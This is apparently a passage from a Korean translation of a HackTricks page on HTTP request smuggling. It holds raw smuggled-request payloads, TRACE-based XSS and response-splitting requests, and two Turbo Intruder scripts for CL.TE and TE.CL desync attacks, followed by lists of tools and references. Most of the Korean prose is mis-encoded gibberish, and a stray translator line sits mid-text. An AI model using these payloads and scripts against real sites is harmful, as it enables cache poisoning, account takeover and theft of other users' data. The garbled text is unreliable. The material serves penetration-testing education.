- In web cache poisoning, ๊ณต๊ฒฉ์๋ ์ ํ๋ฆฌ์ผ์ด์ ์ด ์ผ๋ถ ์ ์ฑ ์ฝํ ์ธ ๋ฅผ cache์ ์ ์ฅํ๋๋ก ๋ง๋ค๊ณ , ์ด ์ฝํ ์ธ ๋ cache์์ ๋ค๋ฅธ ์ ํ๋ฆฌ์ผ์ด์ ์ฌ์ฉ์๋ค์๊ฒ ์ ๊ณต๋ฉ๋๋ค.
- In web cache deception, ๊ณต๊ฒฉ์๋ ์ ํ๋ฆฌ์ผ์ด์ ์ด ๋ค๋ฅธ ์ฌ์ฉ์์ ์ํ๋ ๋ฏผ๊ฐํ ์ฝํ ์ธ ๋ฅผ cache์ ์ ์ฅํ๋๋ก ๋ง๋ค๊ณ , ์ดํ ๊ณต๊ฒฉ์๊ฐ ๊ทธ ์ฝํ ์ธ ๋ฅผ cache์์ ์ถ์ถํฉ๋๋ค.
The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
๋ง์ฝ ์ด smuggled request๊ฐ ์ ์ ์ฝํ
์ธ (์: /someimage.png)์ฉ์ผ๋ก ๋์ด ์๋ ์บ์ ํญ๋ชฉ์ ์ค์ผ์ํจ๋ค๋ฉด, /private/messages์ ํผํด์์ ๋ฏผ๊ฐํ ๋ฐ์ดํฐ๊ฐ ์ ์ ์ฝํ
์ธ ์ ์บ์ ํญ๋ชฉ ์๋์ ์บ์๋ ์ ์๋ค. ๊ฒฐ๊ณผ์ ์ผ๋ก ๊ณต๊ฒฉ์๋ ์ด ์บ์๋ ๋ฏผ๊ฐํ ๋ฐ์ดํฐ๋ฅผ ์ ์ฌ์ ์ผ๋ก ๊ฐ์ ธ์ฌ ์ ์๋ค.
TRACE๋ฅผ ์ด์ฉํ HTTP Request Smuggling ์ ์ฉ
In this post ๋ ์๋ฒ์ TRACE ๋ฉ์๋๊ฐ ํ์ฑํ๋์ด ์๋ค๋ฉด HTTP Request Smuggling์ผ๋ก ์ด๋ฅผ ์ ์ฉํ ์ ์๋ค๊ณ ์ ์ํ๋ค. ์ด๋ ์ด ๋ฉ์๋๊ฐ ์๋ฒ๋ก ์ ์ก๋ ์ด๋ค ํค๋๋ ์๋ต ๋ณธ๋ฌธ์ ์ผ๋ถ๋ก ๋ฐ์ฌํ๊ธฐ ๋๋ฌธ์ด๋ค. ์๋ฅผ ๋ค์ด:
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
ํ์ผ ๋ด์ฉ์ ๋ถ์ฌ ๋ณด๋ด์ฃผ์ธ์. ์ง์นจ์ ๋ฐ๋ผ ๋งํฌ๋ค์ด/HTML ๊ตฌ๋ฌธ์ ๊ทธ๋๋ก ์ ์งํ๊ณ , ์ฝ๋ยทํ๊ทธยท๋งํฌยท๊ธฐ์ ์ฉ์ด ๋ฑ ๋ฒ์ญํ์ง ์์์ผ๋ก ๋ฒ์ญํด ๋๋ฆฌ๊ฒ ์ต๋๋ค.
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
An example on how to abuse this behaviour would be to ๋จผ์ HEAD ์์ฒญ์ smuggle. This request will be responded with only the headers of a GET request (Content-Type among them). And smuggle HEAD ๋ฐ๋ก ๋ค์์ TRACE ์์ฒญ์ smuggle, which will be ์ ์ก๋ ๋ฐ์ดํฐ๋ฅผ ๋ฐ์ฌํฉ๋๋ค.
As the HEAD response will be containing a Content-Length header, the TRACE ์์ฒญ์ ์๋ต์ด HEAD ์๋ต์ ๋ฐ๋๋ก ์ฒ๋ฆฌ๋์ด ๊ฒฐ๊ณผ์ ์ผ๋ก ์๋ต์์ ์์์ ๋ฐ์ดํฐ๋ฅผ ๋ฐ์ฌํฉ๋๋ค.
This response will be sent to the next request over the connection, so this could be ์๋ฅผ ๋ค์ด ์บ์๋ JS ํ์ผ์์ ์์์ JS ์ฝ๋๋ฅผ ์ฃผ์
ํ๋ ๋ฐ ์ฌ์ฉ๋ ์ ์์ต๋๋ค.
TRACE๋ฅผ ์ด์ฉํ HTTP Response Splitting ์ ์ฉ
๊ณ์ํด์ this post๋ฅผ ๋ฐ๋ผ๊ฐ๋ฉด TRACE ๋ฉ์๋๋ฅผ ์
์ฉํ๋ ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ด ์ ์๋ฉ๋๋ค. ์์์ ์ธ๊ธํ๋ฏ์ด, HEAD ์์ฒญ๊ณผ TRACE ์์ฒญ์ smugglingํ๋ฉด HEAD ์๋ต์์ ์ผ๋ถ ๋ฐ์ฌ๋ ๋ฐ์ดํฐ๋ฅผ ์ ์ดํ ์ ์์ต๋๋ค. The length of the body of the HEAD request is basically indicated in the Content-Length header and is formed by the response to the TRACE request.
๋ฐ๋ผ์ ์๋ก์ด ์์ด๋์ด๋, ์ด Content-Length์ TRACE ์๋ต์์ ์ ๊ณต๋ ๋ฐ์ดํฐ๋ฅผ ์๊ณ ์๋ค๋ฉด, TRACE ์๋ต์ด Content-Length์ ๋ง์ง๋ง ๋ฐ์ดํธ ์ดํ์ ์ ํจํ HTTP ์๋ต์ ํฌํจํ๋๋ก ๋ง๋ค ์ ์๋ค๋ ๊ฒ์
๋๋ค. ์ด๋ ๊ฒ ํ๋ฉด ๊ณต๊ฒฉ์๊ฐ ๋ค์ ์๋ต์ ๋ํ ์์ฒญ์ ์์ ํ ์ ์ดํ ์ ์๊ฒ ๋์ด (์ด๋ cache poisoning ์ํ์ ์ฌ์ฉ๋ ์ ์์ต๋๋ค).
Example:
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
๋ค์ ์๋ต๋ค์ ์์ฑํฉ๋๋ค (HEAD ์๋ต์ Content-Length๊ฐ ์์ด TRACE ์๋ต์ด HEAD ๋ณธ๋ฌธ์ ์ผ๋ถ๊ฐ ๋๋ ๊ฒ์ ์ฃผ๋ชฉํ์ธ์. ๊ทธ๋ฆฌ๊ณ HEAD Content-Length๊ฐ ๋๋๋ฉด ์ ํจํ HTTP ์๋ต์ด smuggled ๋ฉ๋๋ค):
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(โarbitrary responseโ)</script>
HTTP Response Desynchronisation์ ์ด์ฉํ HTTP Request Smuggling ๋ฌด๊ธฐํ
HTTP Request Smuggling ์ทจ์ฝ์ ์ ์ฐพ์์ง๋ง ์ด๋ป๊ฒ ์ต์คํ๋ก์ํ ์ง ๋ชจ๋ฅด๊ฒ ๋ค๋ฉด, ๋ค์ ๋ค๋ฅธ ์ต์คํ๋ก์ ๋ฐฉ๋ฒ๋ค์ ์๋ํด๋ณด์ธ์:
HTTP Response Smuggling / Desync
๊ธฐํ HTTP Request Smuggling Techniques
- Browser HTTP Request Smuggling (Client Side)
Browser HTTP Request Smuggling
- Request Smuggling in HTTP/2 Downgrades
Request Smuggling in HTTP/2 Downgrades
Turbo intruder scripts
CL.TE
์ถ์ฒ: https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
์ถ์ฒ: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
๋๊ตฌ
- HTTP Hacker (Burp BApp Store) โ ์ฐ๊ฒฐ/ํ๋ ์ด๋ฐ๊ณผ ์ ์์ค HTTP ๋์์ ์๊ฐํ
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action โSmuggling or pipelining?โ
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: ์ด ๋๊ตฌ๋ ๋ฌธ๋ฒ ๊ธฐ๋ฐ์ HTTP Fuzzer๋ก ์ด์ํ request smuggling ๋ถ์ผ์น๋ฅผ ์ฐพ๋ ๋ฐ ์ ์ฉํฉ๋๋ค.
์ฐธ๊ณ ์๋ฃ
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
- https://portswigger.net/research/trace-desync-attack
- https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
- ๊ฑฐ์ง ์์ฑ(์คํ)์ ์ฃผ์: HTTP pipelining๊ณผ request smuggling์ ๊ตฌ๋ถํ๋ ๋ฐฉ๋ฒ โ https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
- https://http1mustdie.com/
- BrowserโPowered Desync Attacks โ https://portswigger.net/research/browser-powered-desync-attacks
- PortSwigger Academy โ clientโside desync โ https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
- https://portswigger.net/research/http1-must-die
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


